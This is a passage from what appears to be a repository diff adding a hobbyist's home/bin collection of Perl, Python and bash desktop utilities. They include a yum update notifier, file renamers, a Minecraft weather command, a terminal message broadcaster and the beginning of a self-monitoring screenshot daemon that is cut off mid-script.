the file and will try to find the first one (e.g. .s001). Otherwise it
assumes you want to split the file. You can override its assumption by using
--join or --split as command line arguments.
EXAMPLES
To split a very large movie into 256 MB chunks:
ksplit --size 256M "My Movie.mpg"
To join it back together from the parts and clean up the part files.
ksplit --clean "My Movie.mpg.s001"
AUTHOR
Casey Kirsle
http://www.kirsle.net/
};
exit(1);
}

132
home/bin/kupdatesd Executable file
View File

@ -0,0 +1,132 @@
#!/usr/bin/perl
# --- This script is no longer maintained. ---
# It has been replaced by the Python version, pyupdatesd. The Python version
# requires only pygtk2, which tends to come preinstalled on Fedora XFCE spins,
# and is therefore much simpler to get set up. :)
#
# http://sh.kirsle.net/pyupdatesd
# --------------------------------------------
# kupdatesd - A simple yum update checker.
#
# This script will watch for available yum updates and show a GTK+ TrayIcon
# and notification pop-up when updates become available.
#
# This is intended for desktop environments like XFCE that don't have a native
# PackageKit update watcher.
#
# Set this script to run on session startup and it will check for updates every
# 5 minutes (by default; this is configurable in the source code).
#
# --Kirsle
# http://sh.kirsle.net
use 5.14.0;
use strict;
use warnings;
use Gtk2 -init;
use Gtk2::TrayIcon;
use Gtk2::Notify -init, "kupdatesd";
$SIG{HUP} = $SIG{TERM} = sub {
exec($0);
};
################################################################################
# Configuration Section #
################################################################################
my %c = (
# The title to be shown on the pop-up and the icon tooltip.
title => "Updates Available",
# The message to be shown in the pop-up.
message => "There are updates ready to install.",
# The icon to use for the pop-up and tray icon.
icon => '/usr/share/icons/gnome/32x32/status/software-update-available.png',
# How often to check for updates (in seconds).
interval => 900,
# The path to your yum binary.
yum => '/usr/bin/yum',
# The path to your graphical updater.
# gpk-update-viewer is provided by gnome-packagekit
gui => '/usr/bin/yumex',
);
################################################################################
# End Configuration Section #
################################################################################
# Gtk objects
my ($icon, $image, $eventbox, $tooltip, $notify);
my $visible = 0; # Icon is currently being displayed?
# Enter the main loop.
my $check = time() + $c{interval};
while (1) {
select(undef,undef,undef,0.1);
# Keep Gtk2 active.
if (defined $icon) {
Gtk2->main_iteration while Gtk2->events_pending;
}
if (time() > $check) {
# Look for updates.
system("$c{yum} check-update > /dev/null 2>&1");
if (!$visible && $? >> 8 == 100) {
say "There are updates available!";
show_icon();
}
elsif ($visible && $? == 0) {
# Updates have gone away behind our back!
$icon->hide;
$visible = 0;
}
# Queue another check.
$check = time() + $c{interval};
}
}
sub show_icon {
# Already initialized this once before?
if (defined $icon) {
# Just show the icon and notification again.
$icon->show_all;
$notify->show;
$visible = 1;
return;
}
# Tray icon. Image goes in EventBox, EventBox goes inside TrayIcon.
$icon = Gtk2::TrayIcon->new("kupdatesd");
$image = Gtk2::Image->new_from_file($c{icon});
$eventbox = Gtk2::EventBox->new;
$eventbox->add($image);
$icon->add($eventbox);
$icon->show_all;
# Attach the tooltip.
$tooltip = Gtk2::Tooltips->new;
$tooltip->set_tip($icon, $c{title});
$eventbox->signal_connect("button_press_event", sub {
$icon->hide;
$visible = 0;
system($c{gui});
});
$notify = Gtk2::Notify->new(
$c{title},
$c{message},
$c{icon},
);
$notify->show;
$visible = 1;
}

44
home/bin/make-it-rain Executable file
View File

@ -0,0 +1,44 @@
#!/usr/bin/perl
# make-it-rain: Command the Minecraft weather!
#
# Usage: make-it-rain <screen name> <clear|rain|thunder> [duration]
# Ex: make-it-rain minecraft thunder 300
#
# You have to run your Minecraft server in a `screen` session, preferably with
# a friendly session name, like so:
#
# $ screen -S minecraft
#
# Then, use that session name with this script. See the example usage.
#
# This script will basically execute the /weather command in your Minecraft
# server, for example "weather thunder 300" for a 5 minute long thunder storm.
# See the Minecraft documentation for more info. Notably, the maximum duration
# value that Minecraft accepts is 1000000 (1 million), which comes out to be
# about 277 hours.
#
# You can set up a cron job to keep your server constantly stormy by doing
# something like this:
#
# * 0 * * * make-it-rain minecraft thunder 86400
#
# This would kick off a 24 hour long thunder storm every night at midnight.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
my ($screen, $mode, $time) = @ARGV;
unless ($screen) {
die "Usage: $0 <screen name> <clear|rain|thunder> [time]\n";
}
my $command = qq{screen -x $screen -X stuff 'weather $mode};
if ($time) {
$command .= qq{ $time};
}
$command .= qq{\x0D'};
exec($command);

33
home/bin/mednafen-zenity Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# mednafen-ptk - Perl/Tk front-end for launching mednafen.
use strict;
use warnings;
# Path to ROMs.
my $root = shift(@ARGV) || "$ENV{HOME}/ROMS/GBA/Games";
# Get a ROM selection.
chdir($root);
my $rom = `zenity --title "Select a GameBoy or NES ROM" --file-selection`;
chomp $rom;
print "Selected: $rom\n";
# A selection?
if (defined $rom && $rom =~ /\.(gb|gbc|gba|nes)/i) {
if (-f $rom) {
# Launch Mednafen.
exec(
#"padsp", # pulseaudio oss emulation
"mednafen",
-sounddriver => "sdl", #"alsa", # sound driver
-vdriver => "sdl", # video driver (or opengl)
"-gb.xscale" => 4, # gameboy scaling
"-gb.yscale" => 4,
"-gba.xscale" => 2, # GBA scaling
"-gba.yscale" => 2,
$rom,
);
}
}

33
home/bin/metacity-test Executable file
View File

@ -0,0 +1,33 @@
#!/usr/bin/perl -w
# metacity-test - A simple script to test Metacity themes by popping up a simple
# window just to show off the window decorations.
#
# Requires Perl/Tk.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use Tk;
my $str = join (" ",@ARGV) || 'Preview';
my $mw = MainWindow->new (
-title => "Cuvou.com",
);
$mw->optionAdd ('*highlightThickness',0);
$mw->Label (
-width => 25,
-textvariable => \$str,
-relief => 'flat',
-font => [
-weight => 'bold',
-size => 12,
-family => 'Arial',
],
)->pack (-padx => 5, -pady => 5);
MainLoop;

23
home/bin/mountsec Executable file
View File

@ -0,0 +1,23 @@
#!/bin/bash
# Mount an encrypted loopback disk image.
# Setting this up:
# modprobe cryptoloop
# modprobe aes
# dd if=/dev/urandom of=.container.img bs=1M count=8192 # for an 8GB image
# losetup -e aes /dev/loop0 .container.img
# mkfs.ext4 /dev/loop0
# Then run this script to mount the image to /secure (create this folder in
# advance, or use a different folder). `umount /secure` to unmount.
# --Kirsle
# http://sh.kirsle.net/
sudo modprobe cryptoloop
sudo modprobe aes
sudo losetup /dev/loop0 ~/.container.img
echo "cryptsetup"
sudo cryptsetup -y luksOpen /dev/loop0 ~/.container.img
sudo mount -o loop,encryption=aes ~/.container.img /secure

181
home/bin/mp3rename Executable file
View File

@ -0,0 +1,181 @@
#!/usr/bin/perl -w
# mp3rename - Rename MP3 files based on their IDv3 tags.
#
# Usage: mp3rename [opts] <mp3s>
#
# Examples:
# mp3rename --format '{artist} - {title}' $HOME/Music/*.mp3
#
# This script has POD documentation, so `perldoc mp3rename`
#
# --Kirsle
# http://sh.kirsle.net/
=head1 NAME
mp3rename - Rename MP3 files based on their IDv3 tags.
=head1 USAGE
mp3rename [opts] <mp3s>
=head1 OPTIONS
--format <format>
-f
Specify the format to output the files in. Doesn't need to include
the .mp3 extension. Example: --format "{artist} - {title}"
Format tags include:
{artist} - Artist
{album} - Album
{title} - Song title
{track} - Track number
Default is: {artist} - {title}
--output <directory>
-o
Specify a directory to putput the files to. Default is the current
working directory.
--recursive
-r
Recursively descend into any directories included in the arguments.
By default, directories will just be skipped over.
--copy
-c
Copy, don't rename.
--test
-t
Show what the files would be renamed to, but don't actually rename
them.
--help
-h
-?
Show this documentation.
=head1 AUTHOR
Noah Petherbridge, http://www.kirsle.net/
=cut
use strict;
use warnings;
use File::Basename;
use File::Path qw(mkpath);
use File::Copy;
use Getopt::Long;
use MP3::Info;
# Get command-line arguments.
my %o = (
format => '{artist} - {title}',
output => '.',
copy => 0,
recursive => 0,
test => 0,
help => 0,
);
GetOptions (
'format|f=s' => \$o{format},
'output|o=s' => \$o{output},
'recursive|r' => \$o{recursive},
'copy|c' => \$o{copy},
'test|t' => \$o{test},
'help|h|?' => \$o{help},
);
# Help?
&help() if $o{help};
# Get the file list.
my @files = @ARGV;
if (scalar(@files) == 0) {
&help();
}
foreach my $file (@files) {
if (-d $file && $o{recursive}) {
&crawldir($file);
}
elsif (-d $file) {
next;
}
&rename($file);
}
sub crawldir {
my $dir = shift;
opendir (DIR, $dir) or die "Can't crawl into directory $dir: $!";
foreach my $file (sort(grep(!/^\./, readdir(DIR)))) {
next if -l "$dir/$file"; # Don't follow links.
if (-d "$dir/$file") {
&crawldir("$dir/$file");
}
elsif (-f "$dir/$file") {
&rename("$dir/$file");
}
}
}
sub rename {
my $file = shift;
return unless -f $file;
my $mp3 = get_mp3tag($file);
return unless $mp3;
my $artist = $mp3->{ARTIST} || "Unknown";
my $album = $mp3->{ALBUM} || "Unknown";
my $title = $mp3->{TITLE} || basename($file, ".mp3");
my $track = $mp3->{TRACKNUM} || "";
# Make the new file name.
my $rename = $o{format};
$rename .= ".mp3" unless $rename =~ /\.mp3$/i;
$rename =~ s/{artist}/$artist/ig;
$rename =~ s/{album}/$album/ig;
$rename =~ s/{title}/$title/ig;
$rename =~ s/{track}/$track/ig;
my $basename = basename($file);
# Just testing?
if ($o{test}) {
print "$basename -> $rename\n";
return;
}
# Make the output directory?
if (!-d $o{output}) {
warn "Creating output directory: $o{output}";
mkpath($o{output}) or die "Can't create $o{output}: $!";
}
# Rename it. Or copy?
if ($o{copy}) {
print "COPY: $basename -> $o{output}/$rename\n";
copy($file,"$o{output}/$rename");
}
else {
print "RENAME: $basename -> $o{output}/$rename\n";
rename($file, "$o{output}/$rename");
}
}
sub help {
exec("perldoc $0");
}

27
home/bin/multistart Executable file
View File

@ -0,0 +1,27 @@
#!/usr/bin/perl
# multistart - Spawn off multiple processes. Useful for a single click
# "autostart" for all your commonly used programs (IM, e-mail, etc).
#
# Usage: multistart <list of processes>
# Example: multistart thunderbird firefox "synergy -c syn.conf"
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
scalar(@ARGV) or usage();
foreach my $proc (@ARGV) {
my $fork = fork();
if ($fork == 0) {
exec($proc);
}
}
sub usage {
print "multistart - Spawn off multiple processes.\n"
. "Usage: multistart <list of processes>\n";
exit(1);
}

43
home/bin/onetime Executable file
View File

@ -0,0 +1,43 @@
#!/usr/bin/perl
use 5.10.0;
use strict;
use warnings;
# onetime - Only run a command if it's not already running.
#
# Usage: onetime <command>
# Ex: onetime xchat
#
# --Kirsle
# http://sh.kirsle.net
if (scalar(@ARGV) == 0 || (scalar(@ARGV) && $ARGV[0] =~ /^-+h/)) {
say "Usage: onetime <command>";
say " Ex: onetime xchat";
exit(1);
}
my ($cmd,@args) = @ARGV;
if ($cmd =~ /[^A-Za-z0-9-_]/) {
die "That command looks funny :\\ '$cmd'";
}
# See if it's already running.
my @ps = `ps aux | grep $cmd`;
my $found = 0;
foreach my $line (@ps) {
my ($user, $pid, @extra) = split(/\s+/, $line, 11);
my $cmdline = pop(@extra);
next if $cmdline =~ /grep/;
next if $cmdline =~ /\Q$0\E/;
$found = $pid;
last;
}
if ($found) {
say "'$cmd' appears to already be running as PID $found.";
exit(1);
}
exec($cmd, @args);

24
home/bin/openrand Executable file
View File

@ -0,0 +1,24 @@
#!/usr/bin/perl -w
# openrand - Opens a random file in the current working directory.
#
# Requires GNOME desktop environment with `gnome-open` command.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
my @files = ();
opendir (DIR, ".");
foreach my $file (readdir(DIR)) {
next unless -f $file;
next unless -r $file;
push (@files,$file);
}
closedir (DIR);
my $rnd = $files [ int(rand(scalar(@files))) ];
print "Exec gnome-open $rnd\n";
system ("gnome-open \"$rnd\" &");

137
home/bin/podwrap Executable file
View File

@ -0,0 +1,137 @@
#!/usr/bin/perl -w
=head1 NAME
podwrap - Word wrapper for (not only) POD document files.
=head1 USAGE
podwrap [options] <file.pod>
=head1 DESCRIPTION
This script is for applying word wrapping to a POD document file. This should
B<not> be used on a Perl module; only POD text.
It will (re)format all the paragraphs in the POD document to apply a word wrap
at whatever character width you want (default is 80 characters).
It could also be applied to plain text documents, but is primarily meant for
POD documents.
=head1 OPTIONS
=over 4
=item --width, -w <width>
Specify the character width to wrap words at; default is 80.
=item --save, -s
Save changes back to the source file. By default the changes are printed to
STDOUT and not saved to the source file.
=back
=head1 AUTHOR
Noah Petherbridge, http://sh.kirsle.net/
=cut
use strict;
use warnings;
use Getopt::Long;
# Get command line options.
my %o = (
width => 80,
save => undef,
help => undef,
);
GetOptions (
'width|w=i' => \$o{width},
'save|s' => \$o{save},
'help|h|?' => \$o{help},
);
# Help and Usage
if ($o{help}) {
exec("perldoc $0");
}
elsif (scalar(@ARGV) == 0) {
print "Usage: podwrap [options] <filename.pod>\n"
. "See: podwrap --help for help\n";
exit(1);
}
# Read the file.
my $source = shift(@ARGV);
if (!-e $source) {
print "Can't read source file $source: not found\n";
exit(1);
}
open (READ, $source) or die "Can't open $source: $!";
my @pod = <READ>;
close (READ);
chomp @pod;
# Parse it a paragraph at a time.
my @paragraph = ();
my @output = ();
my $inParagraph = 0;
foreach my $line (@pod) {
$line =~ s/[\x0A\x0D]//g;
if (length $line == 0) {
push (@output,"");
$inParagraph = 0;
push (@output, wordWrap($o{width}, @paragraph));
@paragraph = ();
next;
}
elsif (length $line > 0 && $inParagraph == 0) {
$inParagraph = 1;
}
if ($inParagraph) {
push (@paragraph, $line);
}
}
if (scalar(@paragraph) > 0) {
push(@output, wordWrap($o{width}, @paragraph));
}
if ($o{save}) {
open (WRITE, ">$source") or die "Can't write $source: $!";
print WRITE join("\n",@output);
close (WRITE);
print "Wrote: $source\n";
}
else {
print join("\n",@output);
}
sub wordWrap {
my ($width,@lines) = @_;
# Don't apply wrapping for verbatim paragraphs.
if ($lines[0] =~ /^\s+/) {
return (@lines);
}
my @words = split(/\s+/, join(" ",@lines));
my $wrapped = "";
my $w = 0;
for (my $i = 0; $i < scalar(@words); $i++) {
my $wlen = length($words[$i]);
if (($w + $wlen + 1) > $width) {
$wrapped .= "\n";
$w = 0;
}
$wrapped .= "$words[$i] ";
$w += $wlen + 1;
}
return split(/\n/, $wrapped);
}

170
home/bin/pyupdatesd Executable file
View File

@ -0,0 +1,170 @@
#!/usr/bin/env python
"""
pyupdatesd: A simple yum update checker.
This script will watch for available yum updates and show a Gtk2 tray icon and
notification pop-up when updates become available.
This is intended for desktop environments like XFCE that don't have a native
PackageKit update watcher.
Set this script to run on session startup, and it will check for updates every
15 minutes (by default; this is configurable in the source code).
This software is open domain and may be freely modified and distributed.
Requires: pygtk2
Usage: pyupdatesd [--display :0.0 --help --debug --testing]
--Kirsle
http://sh.kirsle.net
"""
################################################################################
# Configuration Section Begins Here #
################################################################################
c = dict(
# The title to be shown on the pop-up and the icon tooltip.
title = "Updates Available",
# The message to be shown in the pop-up.
message = "There are updates available to install.",
# Icon to use in the system tray and pop-up.
icon = "/usr/share/icons/gnome/32x32/status/software-update-available.png",
# Frequency to check for available updates.
interval = 900, # 15 minutes
# Command to run to check for available updates, and the expected status
# code that indicates updates are available.
yumcheck = "/usr/bin/yum check-update",
# Path to notify-send (set to None if you don't want notifications)
notify = "/usr/bin/notify-send",
# Command to run for your graphical updater (i.e. yumex, gpk-update-viewer)
yumgui = "/usr/bin/yumex --update-only",
)
################################################################################
# Configuration Section Ends Here #
################################################################################
import gtk
import gobject
import pynotify
import getopt
import sys
import os
import commands
import subprocess
from time import time
# Command-line options.
try:
options, remainder = getopt.getopt(sys.argv[1:], 'hdt', [
'debug',
'help',
'testing',
'display='
])
except:
print "Unrecognized options given, try " + sys.argv[0] + " --help"
exit(1)
debug = False
testing = False
def say(*message):
if debug:
print ' '.join(map(lambda x: str(x), message))
def usage():
print "Usage: " + sys.argv[0] + " [--display :0.0 --help --debug --testing]"
print "Use --testing to force the script to show the notification icon."
exit(1)
# Parse the options
for opt in options:
if opt[0] == '--debug':
debug = True
say("Debug mode activated")
elif opt[0] == '--display' or opt[0] == '-d':
os.environ["DISPLAY"] = opt[1]
say("Set environment $DISPLAY to", opt[1])
elif opt[0] == '--testing' or opt[0] == '-t':
testing = True
debug = True
say("Testing the notification applet")
elif opt[0] == '--help' or opt[0] == '-h':
usage()
def do_updates():
"""Show your graphical update manager."""
subprocess.call(c['yumgui'], shell=True)
def onClick(widget):
"""Event handler for the tray icon being clicked."""
widget.set_visible(False)
gobject.timeout_add(1, do_updates)
def show_notify():
subprocess.call([c['notify'],
'-a', __name__,
'-i', c['icon'],
c['message'],
])
tray = gtk.StatusIcon()
tray.set_from_file(c['icon'])
tray.set_title(c['title'])
tray.set_tooltip(c['title'])
tray.set_visible(False)
tray.connect('activate', onClick)
next_check = int(time()) # First check is immediately on startup
say("First check:", next_check)
def main_loop():
# Time to check?
global next_check
if int(time()) >= next_check:
status, output = commands.getstatusoutput(c['yumcheck'])
status = status >> 8
say("Executed command:", c['yumcheck'])
say("Result status:", status)
say("Command output:")
say(output)
if testing:
say("Test mode: force the result to show available updates")
status = 100
# Updates?
if status == 100:
say("Result status indicates updates are available!")
if tray.get_visible() == False:
say("Show the notification pop-up")
# Only show notification the first time.
show_notify()
tray.set_visible(True)
elif tray.get_visible() == True and status == 0:
# Updates have disappeared behind our back!
tray.set_visible(False)
next_check = int(time()) + c['interval']
gobject.timeout_add(1000, main_loop)
gobject.timeout_add(1000, main_loop)
gtk.main()
# vim:expandtab

35
home/bin/rmbackup Executable file
View File

@ -0,0 +1,35 @@
#!/usr/bin/perl -w
# rmbackup - Recursively scans a directory and removes backup files left behind
# by gedit and emacs.
#
# Usage: rmbackup [directory]
#
# Deletes file names that end with the tilde character: ~
#
# --Kirsle
# http://sh.kirsle.net/
my $dir = shift(@ARGV) || ".";
&scanDir($dir);
sub scanDir {
my $d = shift;
print "scan> $d\n";
opendir (DIR, $d);
foreach my $file (readdir(DIR)) {
next if $file eq ".";
next if $file eq "..";
if (-d "$d/$file") {
&scanDir("$d/$file");
}
else {
if ($file =~ /\~$/) {
print " del> $d/$file\n";
unlink("$d/$file");
}
}
}
}

289
home/bin/rre Executable file
View File

@ -0,0 +1,289 @@
#!/usr/bin/perl -w
# rre - A rename command that supports regular expressions.
#
# See `rre -?` for help.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use Getopt::Long;
Getopt::Long::Configure ("bundling");
our $VERSION = '0.01';
my $help = 0; # using --help flag
my $recurse = 0; # using -R flag
my $verbose = 0; # using -v flag
my $force = 0; # using -f flag
my $replace = ''; # using -r flag
my $input = ''; # input RE
my $output = ''; # output RE
my $limit = 250; # renaming limit for uniqueness
# Get the options.
my $getopts = GetOptions (
'help|h|?' => \$help,
'R|recursive|recurse' => \$recurse,
'v|verbose' => \$verbose,
'l|limit' => \$limit,
'f|force' => \$force,
'r|replace' => \$replace,
'i|input=s' => \$input,
'o|output=s' => \$output,
);
if ($help) {
&help();
}
if (length $input == 0 || length $output == 0) {
&usage();
}
&process();
################################################################################
## Process the Program ##
################################################################################
sub process {
# Scan the directory.
&scanDir (".");
}
sub scanDir {
my $dir = shift;
print "Descending into $dir\n" if $verbose;
opendir (DIR, $dir);
foreach my $file (sort(readdir(DIR))) {
next if $file eq '.';
next if $file eq '..';
# Is this file a directory?
if (-d "$dir/$file") {
# Are we recursing?
if ($recurse) {
&scanDir ("$dir/$file");
}
}
# Only deal with real files.
if (-f "$dir/$file") {
# Doing a string replace?
if ($replace) {
if ($file =~ /$input/i) {
my $newName = $file;
$newName =~ s/$input/$output/g;
my $confirm = 0;
if (not $force) {
print "Rename \"$dir/$file\" to \"$newName\"? [yN] ";
chomp (my $reply = <STDIN>);
if (lc($reply) eq "yes" || lc($reply) eq "y") {
$confirm = 1;
}
else {
next;
}
}
else {
$confirm = 1;
}
if ($confirm) {
if (rename("$dir/$file", "$dir/$newName")) {
print "$file => $newName\n" if $verbose;
}
else {
print "Failed to rename $file: $!";
}
}
}
next;
}
# See if this file matches our regular expression.
if ($file =~ /^$input$/i) {
# Are we allowed to modify this file?
if (-r "$dir/$file") {
# Attempt to rename it.
my @matches = ($file =~ /^$input$/i);
unshift (@matches,'');
my $newName = $output;
$newName =~ s/%(\d+?)/$matches[$1]/ig;
# Does our new name already exist?
if (-e "$dir/$newName") {
print "Warning: new filename exists for $newName\n";
# Find a unique name.
my $check = $newName;
my $i = 0;
while (-e "$dir/$check") {
$i++;
$check = "[$i] $newName";
if ($i > $limit) {
print "Error: failed to find a unique name for $newName\n";
}
}
$newName = $check;
}
# Get confirmation to rename the file.
my $confirm = 0;
if (not $force) {
print "Rename \"$dir/$file\" to \"$newName\"? [yN] ";
chomp (my $reply = <STDIN>);
if (lc($reply) eq "yes" || lc($reply) eq "y") {
# Okay.
$confirm = 1;
}
else {
# Skip this file.
next;
}
}
else {
$confirm = 1; # we used --force
}
# Attempt to rename the file.
if (rename("$dir/$file","$dir/$newName")) {
print "$file => $newName\n" if $verbose;
}
else {
print "Can't rename $file: $!\n";
}
}
else {
print "Can't rename $file: permission denied.\n";
}
}
}
}
closedir (DIR);
}
################################################################################
## Print the Usage Information ##
################################################################################
sub usage {
print "USAGE:\n"
. "\trre [-Rvf] -i expression -o expression\n"
. "See `rre --help` for full documentation.\n";
exit(0);
}
################################################################################
## Print the Full Documentation ##
################################################################################
sub help {
print qq~
NAME
rre - A rename command that supports regular expressions.
SYNOPSIS
rre [-Rrvf] [-l limit] -i inputexpr -o outputexr
DESCRIPTION
rre is a tool for renaming multiple files that match a given
regular expression and naming the new files according to a
defined pattern.
OPTIONS
--help
-h
-?
Prints this documentation.
--verbose
-v
Print verbose information about everything the program does.
--force
-f
Automatically rename files without prompting.
--recursive
--recurse
-R
Recurse into subdirectories.
--replace
-r
Do a find-and-replace instead of a regexp rename. Example:
\$ rre -r -i "_" -o " "
... to replace underscores with spaces.
--limit
-l
When trying to rename to a file that exists, numbers are
prepended until the name is unique. When "limit" is reached,
the program will quit trying and move on to the next file.
Default is 250.
--input
-i
The input regular expression to match on the files in the
directories scanned.
--output
-o
The output expression for what to name files into. Use of
variables \%1, \%2, \%3, etc. can be used here (and probably
should be). If the new file name already exists, a number will
be appended to it.
BEHAVIOR
If the target file name already exists, a number will be prepended to
the name until the file name becomes unique, or the number exceeds
the --limit, which defaults to 250. The file format of a renamed file
is "[x] filename", where x is the number which increments from 1 to
--limit.
When --force is not enabled, you will be prompted before any file
renaming operations are completed. An answer of "y" or "yes" is required
to continue; any other value (or no value) will skip the current file.
EXAMPLES
If you had a directory full of episodes for a particular TV show,
and they were all formatted with the episode numbers listed by season
and then number, such as "1x01", "1x02", "1x03", then "2x01", "2x02",
etc., and you wanted the numbers to simply be 101, 102, 103, 201, 202:
rre -i "(.+?)(\\d)x(\\d\\d)(.+?)\.avi" -o "\%1\%2\%3\%4\.avi"
If you had a directory full of MP3 files, and many of them followed
the format of "Artist - Album - Song Name.mp3", and you wanted to omit
the album name:
rre -i "(.+?) - (.+?) - (.+?)\.mp3" -o "\%1 - \%3.mp3"
AUTHOR AND VERSION
Casey Kirsle <casey at cuvou.net>
rre version $VERSION
~;
exit(0);
}

160
home/bin/sayto Executable file
View File

@ -0,0 +1,160 @@
#!/usr/bin/perl -w
#------------------------------------------------------------------------------#
# sayto - A Wall-like command targeted at a specific user that doesn't mess #
# with VIM sessions or other non-pure-shell processes. #
# Usage: sayto [-a] <username> <message> #
# Author: Kirsle, http://www.cuvou.com/ #
#------------------------------------------------------------------------------#
# This program is free software, released under the same terms as Perl itself. #
#------------------------------------------------------------------------------#
use strict;
use warnings;
my $to = undef;
my $uid = undef;
my $msg = undef;
my $all = 0;
# Collect parameters.
if (join("",@ARGV) =~ /\-+(h|help|\?)/) {
die &usage();
}
if (scalar(@ARGV) >= 2) {
if ($ARGV[0] =~ /^(\-|\-\-)(a|all|f|force)$/i) {
$all = 1;
shift(@ARGV);
}
$to = shift(@ARGV);
$msg = join(" ",@ARGV);
}
else {
die "Usage: sayto [-a] <username> <message>\n"
. "For help: sayto --help\n";
}
# Find the target's UID.
open (PASSWD, "/etc/passwd") or die "Can't read from /etc/passwd: $!";
while (<PASSWD>) {
my ($user,$undef,$u,$g) = split(/:/, $_);
if ($user eq $to) {
$uid = $u;
last;
}
}
close (PASSWD);
unless (defined $uid) {
die "Couldn't find UID for user $to!\n";
}
# Get the processes this user is running.
my %tty_exclude = ();
my $ps = `ps aux`;
foreach my $line (split(/\n/, $ps)) {
my ($user,$pid,undef,undef,undef,undef,$tty,undef,undef,undef,$command) = split(/\s+/, $line, 11);
if ($user =~ /^\d+$/) {
# We got the UID on this line.
next unless $user == $uid;
}
else {
# We got the text username.
next unless $user eq $to;
}
# Make sure this TTY is in a shell.
my @shells = (
'bash', 'csh', 'tcsh',
'/bin/bash', '/bin/csh', '/bin/tcsh',
'-bash', '-csh', '-tcsh',
'sh',
'ssh',
'-ssh',
'sayto',
'ps',
'/bin/ps',
);
my $ok = 0;
foreach my $sh (@shells) {
if ($command =~ /^\Q$sh\E/) {
$ok = 1;
last;
}
}
if ($command =~ /sayto/i) {
$ok = 1;
}
unless ($ok) {
$tty_exclude{$tty} = 1 unless $all;
}
}
# Get all the target user's terminals.
my $who = `who`;
my $terms = 0;
my $skip = 0;
my @wrote = ();
foreach my $ln (split(/\n/,$who)) {
my ($user,$tty) = split(/\s+/, $ln);
if (exists $tty_exclude{$tty} && not $all) {
$skip++;
next;
}
if (length $to > 8 && length $user == 8) {
next unless $to =~ /^$user/;
}
else {
next unless $user eq $to;
}
open (WRITE, "| write $to $tty");
print WRITE $msg . "\n";
close (WRITE);
$terms++;
push (@wrote,$tty);
}
#unlink ("/tmp/sayto.$$");
print "\nBroadcasted message to $to on $terms terminal" . ($terms == 1 ? '' : 's')
. " (skipping $skip non-shell TTY" . ($skip == 1 ? '' : 's') . ")\n"
. "TTYs Written: " . join(", ",sort @wrote) . "\n"
. "TTYs Skipped: " . join(", ",sort keys %tty_exclude) . "\n";
sub usage {
return <<EOF;
NAME
sayto - Broadcast a message to a single user.
USAGE
sayto [-a] <username> <message>
DESCRIPTION
Broadcast a single message to a single user on every terminal
that the user is logged in on. It takes care not to broadcast
to a TTY that is running anything besides bash, so the broadcasted
message won't interfere with vim and other programs.
OPTIONS
--all
-a
--force
-f
Forces the broadcast to be sent to all TTYs that the user has
open, regardless of what processes are running (so, it will
invade on vim sessions as well). This behavior would be exactly
like `wall` except for a specific target only.
AUTHOR
Noah Petherbridge
<npetherbridge\@fonality.com>
EOF
}

56
home/bin/scale Executable file
View File

@ -0,0 +1,56 @@
#!/usr/bin/perl -w
# scale: Front-end to changing the AppleDisplayScaleFactor, for Hackintosh
# on netbooks where the screen resolution isn't tall enough for some windows.
#
# Set the scale factor for the session:
# scale 0.8
# !!! Remember to set it back to 1.0 when you're done !!!
#
# Set the scale just to launch a specific app, then set it back:
# scale 0.8 "Photo Booth"
# scale 0.8 /Applications/Photo\ Booth.app
#
# --Kirsle
# http://sh.kirsle.net/
unless (@ARGV) {
print "usage: scale <aspect-ratio> [app]\n"
. "ex: scale 0.8\n"
. " scale 0.8 /Applications/Photo\\ Booth.app\n"
. " scale 0.8 'Photo Booth'\n";
exit(1);
}
my $scale = shift(@ARGV);
if ($scale =~ /[^0-9\.]/) {
die "Scale factor must be a number!";
}
my $app = undef;
if (scalar(@ARGV)) {
$app = shift(@ARGV);
if (!-e $app) {
# Try a full path (e.g. Photo Booth -> /Applications/Photo Booth.app)
$app = "/Applications/$app.app";
if (!-e $app) {
die "Can't find $app: no such file.";
}
}
}
# set the scale
system("defaults write -g AppleDisplayScaleFactor $scale");
# launching an app too?
if (defined $app) {
system("open \"$app\"");
system("defaults write -g AppleDisplayScaleFactor 1.0");
print "$app launched with scale ratio of $scale\n";
exit(0);
}
else {
if (int($scale) != 1) {
print "Scale set to $scale for the session. Be sure to "
. "reset it to 1.0 when you're done!\n";
exit(0);
}
}

167
home/bin/screenspy Executable file
View File

@ -0,0 +1,167 @@
#!/usr/bin/perl -w
# screenspy - Linux desktop monitoring daemon. Must be run as root.
# This script monitors one or more hardware devices (usually under /dev) for
# Linux systems running an X window manager.
#
# This script must be run as root because usually only root can read from
# hardware devices directly. You can set up a panel launcher to run this
# script with `sudo` if you previously set up the sudoers file to let your
# user run this script with no password.
#
# --Kirsle
# http://sh.kirsle.net/
use strict;
use warnings;
use threads;
use threads::shared;
#################
# Configuration #
#################
# X display to grab screenshots from.
$ENV{DISPLAY} ||= ":0.0";
# Devices to monitor.
our @devices = (
"/dev/console", # keyboard input
"/dev/input/mice", # mouse input
);
# Screenshot command.
our $screenshot = 'scrot -q 85 "%s"';
# Output directory for screenshots.
our $outdir = '/home/kirsle/Pictures/screenspy';
# Calibration: number of seconds (after no activity) for it to take a screenshot.
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.
# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
our $prolonged = 5;
# If you want some indication that the app is running, put the command to run in here.
# This command will be repeatedly run. Recommended is to use zenity and put an icon in
# your system tray. Leave blank for no command.
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";
#####################
# End Configuration #
#####################
# Only let this script run once.
&checkdupes();
# Each thread will report the time when the last event happened.
my %lastEvent : shared;
my %changed : shared;
# Spawn a thread for each device.
my @threads = ();
foreach my $dev (@devices) {
# Make sure we can read the device.
if (!-r $dev) {
system("zenity --error --text \"Don't have permission to read from device $dev\"");
}
push (@threads, threads->create (\&monitor, $dev));
}
# If they want a command run, spawn a thread for it too.
if (length $notify) {
push (@threads, threads->create (\&notify));
}
# Loop forever and let the threads do their thing.
while (1) {
# See if any events have stopped for longer than the threshold.
foreach my $dev (keys %lastEvent) {
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
# take screenshot
